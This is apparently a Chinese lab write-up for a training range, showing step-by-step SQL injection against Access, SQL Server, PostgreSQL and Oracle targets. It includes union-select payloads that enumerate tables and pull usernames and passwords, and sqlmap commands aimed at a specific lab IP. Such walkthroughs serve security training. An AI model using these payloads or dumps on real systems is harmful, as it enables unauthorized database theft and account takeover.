参考:https://blog.csdn.net/qq_53079406/article/details/123081686
墨者学院
因为靶场打完就关闭了,所以就不打码了
1. access 数据库注入
判断表
猜显示的列数
猜列名
(空格)and exists (select username from admin)
(空格)and exists (select passwd from admin)
猜数据
解密
成功进入后台:![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/26026a24ed9b46563ca20e7b3dc2d7da.png)
2.SQL serve注入
数字型
运算了, 说明没有被单引号包裹 ,是数字型注入
id=2 是正常的
and 1=1
and 1=2
(and 1=1正确显示,and 1=2 报错,存在注入点)
判断数据库类型
and (select count(*) from sysobjects)>0
(回显正常为SQL serve(mssql)数据库)
order by
order by 4 正常
order by 5 错误
获取数据库名
and 1=2 union all select 1,2,db_name(),4
改变数字来遍历数据库名
?id=-1 union all select '1','2',db_name(1),'4'
?id=-1 union all select '1','2',db_name(2),'4'
?id=-1 union all select '1','2',db_name(3),'4'
?id=-1 union all select '1','2',db_name(4),'4'
数据库有:mozhe_db_v2、master、tempdb、model、msdb
5.获取指定库的所有表
?id=-1 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where type='u'),'3',4
(xtype和type回显都行)
单引号要加 ,不加会报错,有知道的师傅使劲call 我
6.获取字段
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1)from sysobjects),'3',4
改变数字,遍历字段
只有3个字段,后面就回显为空了
7.获取数据
先获取username 名再获取密码
?id=-2 union all select 1,(select username from manage),‘3’,4
?id=-2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4
8.解密登录
工具:
把url 复制到里面,右键转url——》 数据包
3.PostgreSQL 注入和mysql 的注入语法类似的
不同点:
查询当前数据库使用:current_database()函数
在pg_stat_user_tables库查询表名,使用relname关键字
limit使用语法为limit 1 offset 0
1.测试是否有注入点
and 1=1
and 1=2
(加单引号无回显,and 1=1 正常回显,and 1=2 无法正常显示,存在注入点)
2.判断回显字段
order by 4
order by 5
(order by 4正常回显,order by 5无法回显,回显字段为4)
3.测试类型
and 1=2 union select null,null,null,null
and 1=2 union select null,‘null’,‘null’,null
(可以测试出为字符型)
第四步:获取数据库
and 1=2 union select null,‘null’,current_database(),null
第五步: 获取表名
and 1=2 union select null,'null',relname,null from pg_stat_user_tables limit 1 offset 1
第六步:获取表下字段
and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name ='reg_users' limit 1 offset 0
and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name='reg_users' limit 1 offset 1
and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name='reg_users' limit 1 offset 2
and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name='reg_users' limit 1 offset 3
’
7.获取数据
and 1=2 union select null,name,password,null from public.reg_users –
第八步:解密登录
工具注入 (sqlmap)
第一步:获取当前数据库
sqlmap -u ‘URL’ --current-db
第二步:获取指定数据库下表名
sqlmap -u ‘URL’ --tables -D"public"
第三步:获取指定表下字段名
sqlmap -u ‘URL’ --columns -T “reg_users” -D “public”
第四步:获取数据
4.ORACLE数据库注入
ORACLE简介
ORACLE8i 之前数据文件的后缀名为.ora,之后为.dbf
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用 dual;
dual 是 Oracle 的虚拟表,用来构成 select 的语法规则,任何用户均可读取
Oracle 保证 dual 里面永远只有一条记录
Oracle 处理表字段的类型比较严谨,查询时可以使用 null 匹配任意类型
||运算符可以将两个或两个以上的字符串连接在一起
注释符:(单行)–(多行)/* */
以分布式数据库为核心的一组软件产品,是最流行的客户/服务器(CLIENT/SERVER)或B/S体系结构的数据库之一。比如SilverStream就是基于数据库的一种中间件。ORACLE数据库是世界上使用最为广泛的数据库管理系统,作为一个通用的数据库系统,它具有完整的数据管理功能;作为一个关系数据库,它是一个完备关系的产品;作为分布式数据库它实现了分布式处理功能。但它的所有知识,只要在一种机型上学习了ORACLE知识,便能在各种类型的机器上使用它。(来自百度百科)
1.判断是否存在注入点
’
and 1=1
and 1=2
(加单引号,无法正常显示,可能有注入点。and 1=1 正常显示,and 1=2 无法正常显示,存在注入点)
2.判断数据库类型
and exists(select *from dual)
and exists(select * from user_tables)
(都回显正常,说明是oracle数据库)
3.判断显示的数列
order by 2
order by 3
(order by 2 回显正常,order by 3 回显错误,说明显示2列)
4.联合查询,看报错情况
and 1=2 union select 1,2 from dual
and 1=2 union select null,null from dual
and 1=2 union select 1,‘null’ from dual
and 1=2 union select ‘null’,‘null’ from dual
(只有’null’才能显示出来)
5.获取数据库名
and 1=2 union select ‘null’,(select instance_name from v$instance) from dual
(获取当前数据库名)
and 1=2 union select ‘null’,(select owner from all_tables where rownum=1) from dual
6.获取数据库下表名
and 1=2 union select ‘null’,(select table_name from user_tables where rownum=1 and table_name like ‘%users%’) from dual
7.获取数据库下所有列
and 1=2 union select ‘null’,(select column_name from user_tab_columns where table_name=‘sns_users’ and rownum=1) from dual
8.获取数据
and 1=2 union select USER_NAME,USER_PWD from “sns_users”
(第一个得出来的试了一下不是登录密码)
and 1=2 union select USER_NAME,USER_PWD from “sns_users” where USER_NAME<>‘hu’
9.解密登录
sqlmap工具注入:
第一步:获取数据库:
sqlmap -u 'http://219.153.49.228:42511/new_list.php?id=1' --current-db
第二步:获取指定数据库下表
sqlmap -u 'http://219.153.49.228:42511/new_list.php?id=1' --tables -D"public"
第三步:获取数据库下所有字段
sqlmap -u 'http://219.153.49.228:42511/new_list.php?id=1' --columns -T"reg_users" -D"public"
第四步:获取数据
sqlmap -u 'http://219.153.49.228:42511/new_list.php?id=1' --dump -C"name,password" -T"reg_users" -D"public"
扫描太快直接挂了。。。